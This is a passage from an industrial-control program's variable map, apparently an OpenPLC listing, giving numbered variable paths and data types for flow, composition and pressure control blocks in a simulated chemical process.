+59;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +60;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +61;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +62;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SUB59_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SUB59_OUT;REAL; +63;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.MUL60_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.MUL60_OUT;REAL; +64;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ADD58_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ADD58_OUT;REAL; +65;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.LIMIT40_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.LIMIT40_OUT;REAL; +66;VAR;CONFIG0.RES0.INSTANCE0.FIRST_RUN;CONFIG0.RES0.INSTANCE0.FIRST_RUN;BOOL; +67;VAR;CONFIG0.RES0.INSTANCE0.FLOW_SET;CONFIG0.RES0.INSTANCE0.FLOW_SET;UINT; +68;VAR;CONFIG0.RES0.INSTANCE0.A_SETPOINT;CONFIG0.RES0.INSTANCE0.A_SETPOINT;UINT; +69;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_SP;UINT; +70;VAR;CONFIG0.RES0.INSTANCE0.OVERRIDE_SP;CONFIG0.RES0.INSTANCE0.OVERRIDE_SP;UINT; +71;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_SP;CONFIG0.RES0.INSTANCE0.LEVEL_SP;UINT; +72;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0;COMPOSITION_CONTROL; +73;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.EN;BOOL; +74;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ENO;BOOL; +75;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE_REAL;REAL; +76;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE;UINT; +77;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT_REAL;REAL; +78;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT;UINT; +79;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CURR_POS;UINT; +80;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_REAL;REAL; +81;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_UPDATE_REAL;REAL; +82;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_NOMINAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_NOMINAL;REAL; +83;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.NEW_POS;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.NEW_POS;UINT; +84;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_K;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_K;REAL; +85;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_TI;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_TI;REAL; +86;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CYCLE_TIME;TIME; +87;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3;SCALE_TO_REAL; +88;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.EN;BOOL; +89;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.ENO;BOOL; +90;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_INPUT_VALUE;UINT; +91;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.SCALED_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.SCALED_REAL;REAL; +92;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MAX;REAL; +93;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MIN;REAL; +94;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MAX;UINT; +95;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MIN;UINT; +96;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RATE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RATE;REAL; +97;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.OFFSET;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.OFFSET;REAL; +98;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2;SCALE_TO_REAL; +99;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.EN;BOOL; +100;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.ENO;BOOL; +101;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;UINT; +102;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;REAL; +103;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MAX;REAL; +104;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MIN;REAL; +105;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MAX;UINT; +106;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MIN;UINT; +107;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RATE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RATE;REAL; +108;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.OFFSET;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.OFFSET;REAL; +109;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +110;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +111;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +112;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +113;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +114;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +115;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +116;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +117;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MAX;REAL; +118;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MIN;REAL; +119;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MAX;REAL; +120;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MIN;REAL; +121;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0;SCALE_TO_REAL; +122;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.EN;BOOL; +123;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.ENO;BOOL; +124;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +125;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;REAL; +126;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MAX;REAL; +127;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MIN;REAL; +128;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MAX;UINT; +129;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MIN;UINT; +130;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RATE;REAL; +131;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.OFFSET;REAL; +132;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SUB45_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SUB45_OUT;REAL; +133;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.MUL46_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.MUL46_OUT;REAL; +134;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ADD42_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ADD42_OUT;REAL; +135;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.LIMIT44_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.LIMIT44_OUT;REAL; +136;FB;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0;SCALE_TO_SIGNED; +137;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.EN;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.EN;BOOL; +138;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.ENO;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.ENO;BOOL; +139;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.INPUT_UINT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.INPUT_UINT;UINT; +140;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.OUTPUT_INT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.OUTPUT_INT;INT; +141;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.DIV3_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.DIV3_OUT;UINT; +142;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.ABS8_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.ABS8_OUT;UINT; +143;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.UINT_TO_INT9_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.UINT_TO_INT9_OUT;INT; +144;VAR;CONFIG0.RES0.INSTANCE0.F1_VALVE_POS;CONFIG0.RES0.INSTANCE0.F1_VALVE_POS;UINT; +145;VAR;CONFIG0.RES0.INSTANCE0.F1_FLOW;CONFIG0.RES0.INSTANCE0.F1_FLOW;UINT; +146;VAR;CONFIG0.RES0.INSTANCE0.F2_VALVE_POS;CONFIG0.RES0.INSTANCE0.F2_VALVE_POS;UINT; +147;VAR;CONFIG0.RES0.INSTANCE0.F2_FLOW;CONFIG0.RES0.INSTANCE0.F2_FLOW;UINT; +148;VAR;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_POS;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_POS;UINT; +149;VAR;CONFIG0.RES0.INSTANCE0.PURGE_FLOW;CONFIG0.RES0.INSTANCE0.PURGE_FLOW;UINT; +150;VAR;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_POS;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_POS;UINT; +151;VAR;CONFIG0.RES0.INSTANCE0.PRODUCT_FLOW;CONFIG0.RES0.INSTANCE0.PRODUCT_FLOW;UINT; +152;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE;CONFIG0.RES0.INSTANCE0.PRESSURE;UINT; +153;VAR;CONFIG0.RES0.INSTANCE0.LEVEL;CONFIG0.RES0.INSTANCE0.LEVEL;UINT; +154;VAR;CONFIG0.RES0.INSTANCE0.A_IN_PURGE;CONFIG0.RES0.INSTANCE0.A_IN_PURGE;UINT; +155;VAR;CONFIG0.RES0.INSTANCE0.B_IN_PURGE;CONFIG0.RES0.INSTANCE0.B_IN_PURGE;UINT; +156;VAR;CONFIG0.RES0.INSTANCE0.C_IN_PURGE;CONFIG0.RES0.INSTANCE0.C_IN_PURGE;UINT; +157;VAR;CONFIG0.RES0.INSTANCE0.F1_VALVE_SP;CONFIG0.RES0.INSTANCE0.F1_VALVE_SP;UINT; +158;VAR;CONFIG0.RES0.INSTANCE0.F2_VALVE_SP;CONFIG0.RES0.INSTANCE0.F2_VALVE_SP;UINT; +159;VAR;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_SP;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_SP;UINT; +160;VAR;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_SP;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_SP;UINT; +161;VAR;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_SAFE;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_SAFE;UINT; +162;VAR;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_SAFE;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_SAFE;UINT; +163;VAR;CONFIG0.RES0.INSTANCE0.F1_VALVE_SAFE;CONFIG0.RES0.INSTANCE0.F1_VALVE_SAFE;UINT; +164;VAR;CONFIG0.RES0.INSTANCE0.F2_VALVE_SAFE;CONFIG0.RES0.INSTANCE0.F2_VALVE_SAFE;UINT; +165;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0;PRESSURE_CONTROL; +166;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.EN;BOOL; +167;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.ENO;BOOL; +168;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_REAL;REAL; +169;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE;UINT; +170;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP_REAL;REAL; +171;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP;UINT; +172;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.CURR_POS;UINT; +173;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_REAL;REAL; +174;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_UPDATE_REAL;REAL; +175;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_NOMINAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_NOMINAL;REAL; +176;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS;UINT; +177;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_K;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_K;REAL; +178;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_TI;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_TI;REAL; +179;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.CYCLE_TIME;TIME; +180;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5;SCALE_TO_REAL; +181;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.EN;BOOL; +182;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.ENO;BOOL; +183;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_INPUT_VALUE;UINT; +184;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.SCALED_REAL;REAL; +185;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MAX;REAL; +186;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MIN;REAL; +187;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MAX;UINT; +188;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MIN;UINT; +189;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RATE;REAL; +190;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.OFFSET;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.OFFSET;REAL; +191;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4;SCALE_TO_REAL; +192;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.EN;BOOL; +193;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.ENO;BOOL; +194;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_INPUT_VALUE;UINT; +195;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.SCALED_REAL;REAL; +196;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MAX;REAL; +197;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MIN;REAL; +198;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MAX;UINT; +199;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MIN;UINT; +200;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RATE;REAL; +201;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.OFFSET;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.OFFSET;REAL; +202;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +203;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +204;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +205;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; 